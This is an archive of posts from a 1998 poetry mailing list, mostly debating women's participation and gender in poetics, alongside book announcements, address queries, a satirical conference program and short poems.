A new booklet of poetry is available called Enigma Variations by the late Alex Smith Jr. Mr. Smith joined the majority in 1987 from complications associated with AIDS.

In 1979 Mr. Smith completed an extensive bibliography of Frank O'Hara while a grad student at UConn. The Archive for New Poetry at UCSD recently purchased his papers.

Enigma Variations is a sequence of 9 spare lyrics that perform a serial function and have as their subject matter certain cross-dressing tendencies as well as travel to the moon. Here is one of the lyrics:

The man he met
was a girl,
but in the dark
she was a moth,

a book, a phrase
in his landscape.
Wait! he said
as he took off
her dress
and landed on the moon.

The booklet is published by Reverse English and is available now for $5 us currency. It is 4.5 by 6.5, hand sewn, 12 pages, the majority of which were printed on a letter press.

Please support the arts. Make checks payable to 'A'A Arts. Send orders to:

Bill Luoma
3029 Lowrey Ave #A-1102
Honolulu, HI 96822
[redacted]

Please forward this message as appropriate. Thank you.

↑ Index

850. sarah venart
unmarked listserv (the female question)
Thu 26 Mar 1998

Yes. It does occasionally irk me. So here are my rambling thoughts. First a wee bit of pissed-offed-ness: What is it about this server and its male elbow nudging, name dropping banter? The word cronies comes to mind. Jolly good, all that... with an American accent, of course. Even the term unmarked as "not marked" -- as the dog (male) lifting up his little leggy and whizzing. I've been researching and looking into American modern poetics this last year; into a history that is so male dominated (look on any library shelf) it would appear that the only academics writing about the female moderns are other women -- in texts that have so much to cover they have formed a separate canon, a lesser canon, or some such thing. Of course there are exceptions, but only for certain poets who follow fairly closely with a tradition that is male (Moore, Bishop, etc.). And why, historically, are critics so quick to toss any peep from a "not-fitting-the-muse-cut-out-of-woman-poet" out the window (Molesworth on Sexton, Bawer on Plath... just as a for instance)... and that's just for starters because I am just learning the "for starters" of Modern American poetry. I'm Canadian, after all. I had to learn to speak Canadian poetry first. So, this makes me kind of ...silent. Charles Bernstein writes in _A Poetics : "We have to get over, as in getting over a disease, the idea that we can 'all' speak to one another in the universal voice of poetry. History still mars our words, and we will be transparent to one another only when history itself disappears. For as long as social

relations are skewed, who speaks in poetry can never be a neutral matter" (5). But do we have to get over it, or do we have to work towards fixing it? Because of the skewed language I learned, I became bilingual. I can speak this female language, I can speak the male language, I can appreciate both. I can understand Prufrock and Anahistoric. Do males have the same chance to learn and appreciate female language? Roughly, quickly, (and please feel free to add to it, subtract from it) this female language is made up of many things. It could be the following: story telling of the home, dolls, dresses, body as a history, female fluids (our bodies drip continually, inverted candles), ummmmm... ironing? I'm sure I am making people cringe with this list, but I think that very cringe is important... because why are you cringing? Maybe it is that these things -- dresses and irons, ruffles and lace, for more obvious examples -- are condemned by (even) women themselves as being unnecessary, frilly, useless wastes -- and if these are a waste of space, then what are you saying about your childhood -- where every woman I know had at least one pair of leotards (tights) with ruffles on the bum as a toddler? And if male non-ruffled language and history is so wrapped up in my own female learning and appreciation -- these male signifiers and images, these male aesthetics -- that I have been learning and appreciating, for the most part, since the age of five (if not before) then where do males learn and appreciate my signifiers, my signs, my aesthetics -- ruffled or not? Certainly not in their tonka truck GI Joe boyhoods where, even now, female signs are dismissed. A good, non-poetic example of this is that terrible show: Bill Cosby's Kids Say the Darndest Things. Three weeks ago, a hidden camera skit where boys, age 7-8, were asked to try out for a commerical for a female doll. They were asked to brush its hair and hold it, rock it, then lie down with it on a set made up to look like girl's pink ruffled bedroom -- Bill Cosby could not keep a straight face (as he always manages to do in other skits) because the situation was, to him and to the boys who tried out, so absurd. So those are my thoughts on women on this listserv and why I am so quiet. I'm thinking, is all...and watching shitty TV. (unfortunately, my own poetry does not have a ruffle, a pot holder or a piece of macramé in it. But if You, dear male or female reader, can write a good piece on a pot holder, go for it).

Sarah Venart
Concordia University
Montreal, Canada

↑ Index

851. Marcella Durand
woman
Thu 26 Mar 1998

So glad to see this very important thread continuing. I feel ready now for work & poetry. Glad I feel more like opening my mouth. All this needs to be talked about and continued until women aren't gunned down anymore. I love talking about and hearing talked about gender issues.

Thanks all.

↑ Index

852. Alan Myouka Sondheim
A True Story
Thu 26 Mar 1998

-

Nikuko Sells and Jennifer Buys, A True Story

Nikuko sells her panties in Nakasu with a sigh; Jennifer approaches her; she was just walking by. "I need some fifty-thousand yen," Nikuko tells a lie. "I'll pay you more," says Jennifer, and she begins to cry. "They're highly worn, and partly torn," Nikuko says with sighs. "I'm getting damp, I'm getting hot," wet Jennifer now buys; She pays the yen, the panties hers, brown odor on them lies. Nikuko's first in ecstasy, and comes with great loud cries. Then Jennifer is home with them, and starting with a sigh, She slips her clothes from her lean form, is naked by and by. They're on her face, she will debase, so she begins to lie Back on the bed, and smiling wan, she too begins to cry. She's brightly lit, glows in the dark, so virtual and high, The panties worth a million yen, if she could only die.

↑ Index

853. morpheal
Re: Quanta of Poetic Spin in Virtual Hyper Space (Federalist Ten)
Thu 26 Mar 1998

> *Billy Little wrote:*
> *sorry my expression is imperfect, i'm not dead.*
> *surprising only that 'gender' is the proximate inflection of exclusion.*
> *in this 'open' space.*
> *lurkers unite*
> *or vote in other plebeecites*
> *hear me roar*

> *civic-li(f)e*
> *avante-apartheid*
> *guard*
> *Oh Su-sa-na/Oh don't you cry for me/ for I come from al-abamy/with a*
> *banjo on my knee.*
> *mc*

Curious recourse to near poeticism. Assuming there is in fact a coherent system of beliefs and practices pertaining to an identifiable poetic ideology that gives a sense of socio-political group coherence and evolves through time, such that it has its own socio-cultural history.

That was a digression...but returning to the gist of the comment... since all electronic data is essentially infinitely mutable, being as electronically transformable as it is, in situ, within a nanosecond of its initial inception, who is to say that the electronic YAY on the lectronic plebiansite, registered within the lectronic voting booth, does not appear as a NAY in the tally ? What is there to tell anyone that it will remain a YAY rather than a NAY ? Of course there will always be recourse to a hard copy piece of paper verifying the transaction, as to the nature of the lectronic YAY, will there not ?

What has this to do with poetics ? Everything.

It says that unless poetics is to devolve into infinitely mutable silly putty of hyper spaced out post-facto deconstructions and reconstructions of the poet's intentions, there is a need for a printed hard copy of the poem that most likely shall remain as it was intended to remain, as it is much more difficult to tranform and mute-ate a hard copy writing than it is to transmogrify, transmute, transubstantiate, and otherwise change an electronic work.

Some might argue that there is special merit in works of art that are meant to be as mutable as silly-putty, but in that instance is it not the author, the artist, who is ultimately muted ? The work of art, of hyper anti-art, no longer states the author's intended meaning, but some other meaning unforeseen in the act of creation. Is that more true to what art ought to be ? If so, it might be that the electronic vote on the plebiancite is only another work of the same kind of art, and intentionality has no true part to play in either poetics or politics. A short step from hyper-art to hyper-politics where everything becomes a reflection of the same spin paradigm ?

The vote is no more than an electron spin. Art is no more than an electron spin. Then ultimately it becomes impossible, among all the spins, to know who is doing the spinning and spin is all there is and taken for granted as how it must be.

Needless to say I have very real doubts about the socio-political-cultural context of electronic hyper-art, and what I see as its co-optation to dehumanization, deindividualizion as pure reflection, and of what I tend to see as an anti-art that

becomes too easily elevated to being tauted as a highest evolution of art. I cannot see the excessive valuing of infinite plasticity and mutability as a true increase in creative freedom, but rather as the opposite, where all creative freedom becomes subverted to total deconstruction of individual expression of meaning and meaning as individual creative intentionality.

Morpheal

↑ Index

854. **Christopher W. Alexander**
Re: Feminist Poetics
Thu 26 Mar 1998

Carolyn Guertin writes:
> It's not particularly useful either. We get make-up tips for morons and a
> catty fashion critique of the participants in the academy awards quoted to
> us as a model for behaviour? I doubt that any Poetics site could get 2500
> hits a day (as James and Breslin claim)--even using their tabloid-style
> approach.

maybe it wasn't so obvious from my remarks,
but it's not the content I meant to advocate, it's
the approach... I'm sorry to see that site's taken
such a turn for the bizarre, but the point is,
they worked pretty goddamn'd hard to build
and promote a venue for the stuff they wanted
to see out there, and then put it out there. that's
not the only way to do it, but I guess I think
a big "fuck you" to the "industry" is a pretty
impressive response (and that was the way the
site positioned itself originally)...

Mark Prejsnar: if I have to dig out my credentials to prove myself a good liberal (which I adamantly am not), I can tell you that roughly 60% of the mss. I've published over the last year were written by women. - so obviously I'm not wont to invoke (nor am I infected by) the bullshit anti- affirmative action rhetoric you mention.

among those mss. was Rachel Daley's book,
which I publisht not because of her gender,
but because the work is excellent.

while there's no point pretending we occupy a level playing field (of cultural production), I take her question or caveat advisedly: one does well to suspect a climate in which we desire to see more work BY WOMEN, rather than MORE

WORK by women. if you read my previous post more carefully, you'll see that I'm not attacking outright the sensitivity to gender that I think most of the publishers on this list display (or @ least try for) - I was criticizing the easy assumption that a deliberate 50-50 split somehow fixes anything. more explicitly, I think we really have to ask ourselves whether our enforcement of gender categories doesn't operate within the critical doxa that the most important thing about a poem is who wrote it.

for that matter I don't think any of us should still assigning women their duties, whether they be to submit or to submit, or both. -this said to the list in general, and not meant to characterize Katy's initial post (because that's not what she said).

there's something distinctly patronizing about the whole contest.

> *Where is the feminist poetics list anyway?*

there is @ least one, I know, bc Linda is on it; but I
don't know the listserv address - I can post this sometime
next week, if anyone is interested (L. gets back from NY
this wkend)... from her comments re the discussion, it
seems pretty anglo-am as opposed to french/poststruct.
feminist - not that such things aren't necessarily amenable
to the discussion, but it sounds as if most folks there
haven't read them. of course, that's only second-hand info,
and it's passing through me, a clearly male-hegemonic,
unreliable source.

Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

855. **Joe Amato/Kass Fleisher**

Re: unmarked listserv (the female question)

Thu 26 Mar 1998

---

well i gotta go run off to a conference at suny/stony brook, where i'll be at through sunday... anyone in the area wanna connect, please do!... i'm staying at a place called three village inn...

i've been tempted from the start to post in on this question of women's participation... and subsequent discussion by women and a few men of women's issues, feminism, etc... maybe it's better that i didn't post, but i *do* feel obliged to say here that i think such discussions are crucial, that gender is OF COURSE IT IS an urgent issue and needs to be aired and re-aired on this list as elsewhere...

but hey, just to say that i'll miss this chat for the next few days, looking forward to more such posts when i return!...

best,

joe

nb for a final time, my whole conference item at
http://www.iit.edu/~amato/moonlight.html

↑ Index

856. **Mairead Byrne**
Re: submission and dominance
Thu 26 Mar 1998

Congratulations on Explosive, Katy: it really is jumping out of its orange and black skin. But I notice you're not taking ANY submissions. What's gonna happen when all the gals on the list start mailing their stuff to you? Mairead (who is about to start a magzine too)

↑ Index

857. **Sylvester Pollet**
Re: submission and dominance
Thu 26 Mar 1998

At 11:47 PM -0800 3/25/98, Mark Weiss wrote:
>>
>>i happen to posses a penis (and i'm almost six foot, and can bench over
>>200lbs-- so i'm "manly"), and i balled my eyes out at titanic. for the whole
>>last hour and three hours afterward.
>
>At the risk of levity, balling for four hours during and after a
>tear-jerker strikes me as stereotypical male behavior, including the
>exaggeration. Don't know what your partner's excuse is.
>
>Sometimes spelling counts.

aw come on Mark--didn't you ever hear "Whatever floats your boat"?

↑ Index

858. **Patrick F. Durgin**
Query ---->
Thu 26 Mar 1998

If anyone has a current contact for Anne Blonstein (see her work in latest issue of Situation) would you please back-chan...thanks.

Patrick F. Durgin

`
`
`
` -----><-----
` K E N N I N G|
` anewsletterof|
` poetry&poetic|
` s418BrownSt.#|
` 10IowaCityIA5|
` 2245USA\/\/\/|

↑ Index

859. **Gwyn McVay**
Re: unmarked listserv (the female question)
Thu 26 Mar 1998

>>>But if You, dear male or female reader, can write
a good piece on a pot holder, go for it).<<<

Sarah, I suppose I can do that, but how do I get the pot holder to go through the laser printer?

Baffled in the 'Burbs (maybe we better ask Heloise)

↑ Index

860. **r. drake**
Re: unmarked listserv (the female question)
Thu 26 Mar 1998

---

serendipitously, th morning's post deliverd _moving borders: 3 decades of innovative writing by women_, ed by mary margaret sloan, frm talisman house (PO Box 3157, jersey city nj 07303; $29.95 paper)... 740 pages, including abt 200 pgs of poetics essays... i know its been mentioned here before but seems worth

saying again... an increadible retrospect... & antidote to rumors here 'bouts that women dont send work out...

lbd

↑ Index

861. **Mark Prejsnar**
Re: stupid and lazy posts
Thu 26 Mar 1998

Nope...Sorry, but these sorts of interactions *are* oriented toward community-building. No doubt you do lotsa editing, and should certainly share your approaches. But your off-target here.

Mp

On Wed, 25 Mar 1998, George Bowering wrote:

> *I'm afraid that I have to agree with Billy Little on this one. I dont see the sense or the committment in sending out a general request to poets to "submit." Read someone's poetry. Figure out what you like. Then ASK that poet to send you something for your magazine or whatever. Be a community, not a market.*
>
> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]

↑ Index

862. **Ellay Phillips**
Re: unmarked listserv (the female question)
Thu 26 Mar 1998

On Thu, 26 Mar 1998, Gwyn McVay wrote:

> *But if You, dear male or female reader, can write a good piece on a pot holder, go for it).<<<*
>
> *Sarah, I suppose I can do that, but how do I get the pot holder to go through the laser printer?*

> *Baffled in the 'Burbs (maybe we better ask Heloise)*

Of course, you could always _paste_ the poems on. Then you have poetry _and_ art or that something in-between-thing (like indoor plumbing?) that is so pleezing.

Ellay Phillips

↑ Index

863. **Mark Prejsnar**
Re: submission and dominance
Thu 26 Mar 1998

On Wed, 25 Mar 1998, morpheal wrote:

> *What makes anyone think that such disparities only exist between one gender and the other gender ?*
>
> *I think disparities tend to be as pervasive as there are differences of characteristics amongst individuals. Any characteristics, of any kind.*
>
> *It has very little to do with gender, except that gender offers certain noteworthy characteristics that are selected or deselected by others, quite beyond the selections they make in their personal intimate relations.*

This requires going back to the basics of feminist political models, don't it?

Of course no one said power disparities "only exist" between genders! (What kind of wierd argument is that??)

But between genders is one of the places they exist. You've made certain ideological choices, I guess, that rule out seeing that. You may feel that reality is hyperindividual and has no social dimension, "but it ain't necessarily so."

↑ Index

864. **Aldon Nielsen**
Re: "balled my eyes out at the Titanic"
Thu 26 Mar 1998

---

well . . . we did our share of that in the 60,s, before we recognized the weakness of the term -- but I didn't know this was allowed in movie theaters --

↑ Index

865. Cadaly
Chaffing, contributing, etc.
Thu 26 Mar 1998

I think what Mr. Rivest has going for him are the words "chaffing" and "winnowing", i.e., repackaging. However, this exchange of messages, coded and encypted, fascinates me, as the word "winnowing" and computer "garbage" always have, as the fairy tale task of calling a variety of birds to sort the mess has.

Trying to contribute to a literary journal is certainly frustrating, but even more so when there is some sort of editorial clique rather than a poetic that, if not stated, can perhaps be deduced from the work in print.

It is still not the sexualized, but often complete, rejection that seems to inspire so many mass or serial murders.

Regards,
Catherine Daly
[redacted]

↑ Index

866. Aldon Nielsen
conference announcement
Thu 26 Mar 1998

Stop Me If You've Heard This One Before
>From: Kala Pierson <[redacted]>
>To: [redacted]
>Subject: conference announcement
>Sender: [redacted]
>X-Info: From Loyola Marymount University, L.A. Ca.
>
>
> * INTERROGATING INTERROGATION *
>
> An interdisciplinary conference coming soon
> to a university near you...
>
>
>The emerging discipline of referentiality studies has
>defined itself largely in opposition to the dominant
>cultures of modern academic scholarship (e.g.,
>subculture studies, minority studies, etc.). This

>conference aims to identify strategies for analyzing
>and developing referentiality studies--if you will,
>to referee referentiality--and in so doing,
>to interrogate interrogation within all scholarly
>disciplines.
>
>
>CONFERENCE PROGRAM
>
>
> ---FRIDAY---
>
> 3:00pm Opening Remarks: "Opening Remarks:
>Necessity or Vestigial Tail In The Evolution of
>Conference Structure?"
>
> 3:30pm SESSION 1: Foundations
>
>--Intradisciplinary Reproduction of Participant-
>Observer Dichotomies and the Culture of Ethnography:
>An Ethnography
>
>--The Parent(hetical) Her(etical): Gendering
>the "Reproduction" of Meaning Through
>Over(ly Clever)(-)Punctuation
>
>--The Persistence of Referentiality Studies:
>One Academic Subdiscipline's Insidious Means of
>Self-perpetuation
>
> 5:00pm Keynote Address (Douglas Hofstadter,
>U. of Michigan): "Implications of Self-Referentiality
>for Referentiality Studies"
>
> 8:00pm Special screening of "The Neverending Story"
>(U.S., 1985). Discussion to follow: "'The Neverending
>Story': False Advertising or Meta-self-actualization
>Through Collective Belief?"
>
>
> ---SATURDAY---
>

> 10:30am SESSION 2: Culturing Pop, Pop-ing Culture
>
>--"I yam what I yam": Popeye, the Pop Eye, and the Pop I
>
>--RIP, Princess Di...? Combating Over-analysis of a
>Cultural Icon's Death: Some Analytical Strageties
>
>--Al Bundy as Modern Freud, or, Guaranteeing Huge
>Audiences for Academic Papers by Coupling
>Lowcult-antihero Subjects With Outlandish,
>Deliberately Provocative Claims
>
> 1:30pm SESSION 3: Writing Writing
>
>--"I'm too sexy for this paper": Gratuitous Use of
>Quotations, Particularly Those Evoking Pop Culture,
>in Academic Paper Titles
>
>--"Look Ma, no point!!": Entire Papers Written Solely
>In Order To Justify a Clever Title or Opening Quotation
>
>--Unanimities of Concatenation: Ineluctable Verbiage and
>Beguiling Misuse of Terminal Velocities as Predeterminant
>of an Actualizationist Anti-aesthetics
>
> 3:30pm Special excursion to local art museum, where
>the topic of the lecture-tour will be "Touring, Lore-ing,
>Abhoring: Collective Consciousness, Fallacies of Place
>and Space, and the Production of 'Taste' in the Guided
>Museum Tour"
>
> 8:00pm Special screening of "I Shot Andy Warhol"
>(U.S., 1968). Discussion to follow: "Revisionist Meta-
>subjectivities and Culturally Determined Modes of
>Transgressive Be-ing: Did the Film 'I Shot Andy Warhol'
>Itself Shoot Andy Warhol?"
>
>
> ---SUNDAY---
>
> 7:30am SESSION 4: Special Single-Paper Session
>

>--Control from Above: Marginalizing Papers Deemed
>Of Little Interest in Bizarrely Isolated Sessions
>That No One in Their Right Mind Would Attend
>
>
>
>==========
==
> The preceding is entirely (lovingly) satirical,
>fictional, etc. Any resemblance to actual papers,
>published or unpublished, is probably a result of
>the fact that I'm satirizing an actual paper.
>
>Feel free to forward if you know others who might be
>interested -- we do want to get the word out re.
>this conference, which, needless to say, promises
>to be *the* Scholarly Event of '98...
>
>Cheers
>Kala
>
>___ Kala Pierson _____
> Composition Dept., Eastman School of Music
> [redacted] 716/[redacted]
>_____
>
>
>

↑ Index

867. **laura and jeff**
i was wondering...
Thu 26 Mar 1998

---

i have heard a rumor that zukofsky's a-24 is available somewhere on cd or lp.
i can't seem to find it if this is true.
does anyone have any info they'd like to share??
thanks!
jeff.
---

no quotes today...

↑ Index

868. William Burmeister Prod
Re: i was wondering...
Thu 26 Mar 1998

On Mar 26, 3:23pm, Don Byrd wrote:
> Subject: Re: i was wondering...
> laura and jeff wrote:
>
> > i have heard a rumor that zukofsky's a-24 is available somewhere on cd or lp.
> > i can't seem to find it if this is true.
> > does anyone have any info they'd like to share??
> > thanks!
> > jeff.
> >
>
> The only performance of "A"--24 that I have heard of took place in San
> Francisco, probably about the time of the Talks series--late 70s-early 80s, with,
> as I recall, Bob Perelman on Piano. Surely there is someone on this list who was
> there or knows about this.
>
>-- End of excerpt from Don Byrd

Ask Mark Scroggins (listmember) if he knows anything about this. Mark, are you there?

↑ Index

869. Keston Sutherland
new pamphlet
Thu 26 Mar 1998

I have made up a new pile of my recent book

At The Motel Partial Opportunity

and gladly offer it to listmembers and to anyone else at $5 including postage. It's big and glossy. Thanks.

↑ Index

870. **Gabriel Gudding**
Sycamore Review: All Full Up
Thu 26 Mar 1998

Dear Potential Benefactors,

This just to let you know that Sycamore Review is no longer accepting submissions (bequests) for its issue 10.2. We have filled our charge.

Please stand by. In a few weeks time, I'll post the line-up to the list.

Thanks to those who submitted. Contracts and thankyou notes are, as they say in Star Trek, away.

And a special thankyou to dear Joe Semenovich, where ever you are (_in tenebris_ or elsewhere) -- Gabe

↑ Index

871. **RaeA100900**
Re: Query v. Ed Foster
Thu 26 Mar 1998

Hi,

Does anyone have a current viable address for Talisman. I wrote to P.O. Box 3157, Jersey City, N.J. 07030 - an address Ed himself gave me - and my letter came back "return to sender." (I'm trying not to get paranoid. Let's just asume an honest mistake was involved.). I would ask him directly again, but now I can't find his e mail either. One or both of us is a bit disorganized.

Rae Armantrout

↑ Index

872. **Don Byrd**
Re: i was wondering...
Thu 26 Mar 1998

---

laura and jeff wrote:

> *i have heard a rumor that zukofsky's a-24 is available somewhere on cd or lp.*
> *i can't seem to find it if this is true.*
> *does anyone have any info they'd like to share??*
> *thanks!*
> *jeff.*

The only performance of "A"--24 that I have heard of took place in San Francisco, probably about the time of the Talks series--late 70s-early 80s, with, as I

recall, Bob Perelman on Piano. Surely there is someone on this list who was there or knows about this.

db

--

****
Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

↑ Index

873. Maryrose11
David Bromige in Kansas
Thu 26 Mar 1998

The Lawrence Poets' Alliance is proud to present a reading by David Bromige, on April 13, 1998 at 7:30 p.m. The reading will be held at the Canterbury House, 1116 Louisiana Street, Lawrence, KS.

The Lawrence Poets' Alliance is a new organization whose mission is to bring nationally known poets to Lawrence for readings and workshops. This reading is the first in a series. The next reading will be held in the Fall of 1998.

This reading has been made possible by the support of the Friends of the Poetry Collection, the Canterbury House, and private donations.

↑ Index

874. CharSSmith
Re: Query v. Ed Foster
Thu 26 Mar 1998

In a message dated 98-03-26 18:22:05 EST, you write:

<< Does anyone have a current viable address for Talisman. I wrote to P.O. Box 3157, Jersey City, N.J. 07030 - an address Ed himself gave me - and my let- ter came back "return to sender." (I'm trying not to get paranoid. Let's just asume an honest mistake was involved.). I would ask him directly again, but now I can't find his e mail either. One or both of us is a bit disorganized. >>

↑ Index

875. **Julie Marie Schmid**
Re: Query v. Ed Foster
Thu 26 Mar 1998

That's the address I have. Have you tried calling [redacted] or is that number no longer working either? I'm curious to find out because I need to get in touch with him as well and I have the same address Rae has.

Julie Schmid

On Thu, 26 Mar 1998, RaeA100900 wrote:

> *Hi,*
>
> *Does anyone have a current viable address for Talisman. I wrote to P.O. Box 3157, Jersey City, N.J. 07030 - an address Ed himself gave me - and my letter came back "return to sender." (I'm trying not to get paranoid. Let's just asume an honest mistake was involved.). I would ask him directly again, but now I can't find his e mail either. One or both of us is a bit disorganized.*
>
> *Rae Armantrout*

↑ Index

876. **David Golumbia**
Re: Query v. Ed Foster
Thu 26 Mar 1998

I'm glancing at the remarkable (& so far not entirely remarked-upon-in-this-forum) _Anthology of New (American) Poets_, just out from Ed F's house, & the address is listed on the indicia there slightly differently, to wit:

Talisman House
PO Box 3157
Jersey City, NJ 07303-3157

i'm no PO expert, but i'd guess the 0-for-3 transposition might befuddle Mr. Zip...

& may i take this moment to compliment the editors of this fine book for the job they've done (& with the acknowledged assumption that we can all name five or 10 persons, ourselves included, not on a roster we might prefer to see them on -- but the reverse certainly holding true as well, right?)... male/female balance hovering somewhere near 50%... surely the "first" "document" of "something," and a fine "middle period" collection of something (else)

CharSSmith wrote:
>
> In a message dated 98-03-26 18:22:05 EST, you write:
>
> << Does anyone have a current viable address for Talisman. I wrote to
> P.O.
> Box 3157, Jersey City, N.J. 07030 - an address Ed himself gave me - and my
> letter came back "return to sender." (I'm trying not to get paranoid. Let's
> just asume an honest mistake was involved.). I would ask him directly again,
> but now I can't find his e mail either. One or both of us is a bit
> disorganized. >>
>

--
[redacted]
David Golumbia

↑ Index

877. Henry Gould
\engine dire
Thu 26 Mar 1998

In poetry there are no men or women; only ears. Anthologies are no measure; critics are no measure; only ears measure. Those who have ears to hear, let them hear.

The gender issue is a form of politics & journalism. Important, in those disciplines. Poetry is a vocation.

Does this mean I think gender is an "issue"? No. I think "issue" is a sexless noun, without memory. [speaking poetically-speaking]

What is memory? Why ask? You know.

I don't care anymore about the sociology of poetry. It takes ears to hear what I hear. I hear Melville, eating potato chips in his PJ's. [really?] Poetry is asked to do a lot by people who don't do poetry much. Well, it will, in its own good time. But you p.c. pharisees won't know what it is, Mr. Jones. Speak up, gals. Spandrift - he dead.

I don't hear much, really. But I'm hungry for the sound of what I hear. That's what ears are for. OK - it's not only sound. You win. But it's also not just the first echo you can think of. Men wear whale penises for doilies. Women mount chargers. Aloha! [x-mate. HENRY trips again]

Poetry. Everybody has their own idea of Paradise. Neutral, universal, transparent? No thanks. Equilibrium background for soaring...ok for now...

"my sister, my dove". Cowwamaunsch [Narragansett for "I love you"]

- Henry Gould

↑ Index

878. **k. lederer**
Re: \engine dire
Thu 26 Mar 1998

If you haven't already--

READ A ROOM OF ONE'S OWN BY V WOOLF

Katy

On Thu, 26 Mar 1998, Henry Gould wrote:

> *In poetry there are no men or women; only ears. Anthologies are no measure; critics are no measure; only ears measure. Those who have ears to hear, let them hear.*
>
> *The gender issue is a form of politics & journalism. Important, in those disciplines. Poetry is a vocation.*
>
> *Does this mean I think gender is an "issue"? No. I think "issue" is a sexless noun, without memory. [speaking poetically-speaking]*
>
> *What is memory? Why ask? You know.*
>
> *I don't care anymore about the sociology of poetry. It takes ears to hear what I hear. I hear Melville, eating potato chips in his PJ's. [really?] Poetry is asked to do a lot by people who don't do poetry much. Well, it will, in its own good time. But you p.c. pharisees won't know what it is, Mr. Jones. Speak up, gals. Spandrift - he dead.*
>
> *I don't hear much, really. But I'm hungry for the sound of what I hear. That's what ears are for. OK - it's not only sound. You win. But it's also not just the first echo you can think of. Men wear whale penises for doilies. Women mount chargers. Aloha! [x-mate. HENRY trips again]*
>
> *Poetry. Everybody has their own idea of Paradise. Neutral, universal, transparent? No thanks. Equilibrium background for soaring...ok for now...*
>
> *"my sister, my dove". Cowwamaunsch [Narragansett for "I love you"]*

> *- Henry Gould*

↑ Index

879. **henry**
Re: \engine dire
Thu 26 Mar 1998

On Thu, 26 Mar 1998 19:56:11 -0600 k. lederer said:
>If you haven't already--
>
>READ A ROOM OF ONE'S OWN BY V WOOLF
>
>Katy

OK, Katy - I done Moby Dick - will try Virginia. I'm noman if not HG Well-rounded.
- Odd Sissy, the UniVersal RaVlin' Wolf

↑ Index

880. **Aldon Nielsen**
Re: \engine dire
Thu 26 Mar 1998

> *In poetry there are no men or women; only ears.*

If there is anything between those ears, it is listening out of an intersection in motion that has a history, that is interested, that rubs up everywhere against teeming context.

though there are, I read, those hollow men --

Melville was not one of them, I hear --

"p.c." is asked to do a lot by those who don't think poetry will do --

poetry makes one thing happen --

↑ Index

881. **Kenneth Goldsmith**
UbuWeb Sound Poetry Saved
Thu 26 Mar 1998

+ +

U B U W E B : VISUAL, CONCRETE, & SOUND POETRY
http://www.ubu.com

+ +

Dear Friends,

Thank you for the great outpouring of support for our Real Audio Sound Poetry section. We were very fortunate to have Zarcrom Industries donate the use of their Real Audio server.

Our Sound Poetry end will be down for a couple of days while we re-ftp and reshuffle our files. However, please feel free to check out the rest of the site: Historical, Contemporary, Found & Insane, & Papers relating to Visual, Concrete, & Sound Poetry.

Regards,
Kenneth Goldsmith
Editor, UbuWeb Visual, Concrete & Sound Poetry
E-Mail: [redacted]
http://www.ubu.com

R E A L A U D I O S O U N D P O E T R Y

Guillaume Apollinaire
Jaap Blonk
William S. Burroughs
John Cage
Henri Chopin
Jean Cocteau
Andrew Dickinson
Kelli Dipple
Marcel Duchamp
Brion Gysin
Wyndham Lewis
Jackson Mac Low
Charles Manson
F.T. Marinetti
David Moss
John Reeves
John Reeves & John Bone
Kurt Schwitters
Cecil Taylor
Gregory Whitehead

+ +

U B U W E B : VISUAL, CONCRETE, & SOUND POETRY
http://www.ubu.com

+ +

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882. **Maria Damon**
Re: \engine dire
Thu 26 Mar 1998

At 6:24 PM -0800 3/26/98, Aldon Nielsen wrote:
>>In poetry there are no men or women; only ears.
>
>
>If there is anything between those ears, it is listening out of an
>intersection in motion that has a history, that is interested, that rubs up
>everywhere against teeming context.
>
>though there are, I read, those hollow men --
>
>Melville was not one of them, I hear --
>
>"p.c." is asked to do a lot by those who don't think poetry will do --
>
>
>poetry makes one thing happen --

well said. would i had your wit.

↑ Index

883. **k. lederer**
Re: Queries: Yau and Friedman
Thu 26 Mar 1998

Does anyone have the proper mailing addresses of

John Yau
Ed Friedman

??

I got some things returned to sender--

Thanks!
Katy

↑ Index

884. **henry**
Re: \engine dire
Thu 26 Mar 1998

On Thu, 26 Mar 1998 18:24:46 -0800 Aldon Nielsen said:
>
>If there is anything between those ears, it is listening out of an
>intersection in motion that has a history, that is interested, that rubs up
>everywhere against teeming context.

you can rub up everywhere. I'll just rub muh iconoclasmic mojo.

↑ Index

885. **Michael McColl**
Re: stupid and lazy posts
Thu 26 Mar 1998

On Wed, 25 Mar 1998 13:51:26 -0700 George Bowering said:
>I'm afraid that I have to agree with Billy Little on this one. I dont see
>the sense or the committment in sending out a general request to poets to
>"submit." Read someone's poetry. Figure out what you like. Then ASK that
>poet to send you something for your magazine or whatever. Be a community,
>not a market.
>
>
>
>
>George Bowering.
>   ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]

Read someone's poetry where? How did it get there?

↑ Index

886. **Aldon Nielsen**
Re: \engine dire
Fri 27 Mar 1998

Steve:

i 'ear you, buddy.

↑ Index

887. **George Bowering**
Re: stupid and lazy posts
Fri 27 Mar 1998

> *george, billy et al--*
>
> *but wouldnt that mean that you'd only consider work from poets who had already published?*

Of course not. For instance, I am editing a magazine at the moment, and have already solicited work from one person who has NEVER published, and two others who have published once. Why would you think that soliciting work would mean restricting the soliciting to already published writers?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

888. **George Bowering**
Re: stupid and lazy posts
Fri 27 Mar 1998

> *Nope...Sorry, but these sorts of interactions *are* oriented toward community-building. No doubt you do lotsa editing, and should certainly share your approaches. But your off-target here.*
>
> *Mp*

My off-target here what?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

889. George Bowering
Re: stupid and lazy posts
Fri 27 Mar 1998

> *Read someone's poetry where? How did it get there?*

If you hang around poets long enough you start finsing out where poems can be read. In each other's rooms, for instance. At the bar. At the campus if yr at a campus. It got there in someone's pocket or paper bag or backpack. It comes over the internet. It comes from the microphone or it's unplugged.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

890. rsillima
"A"-24
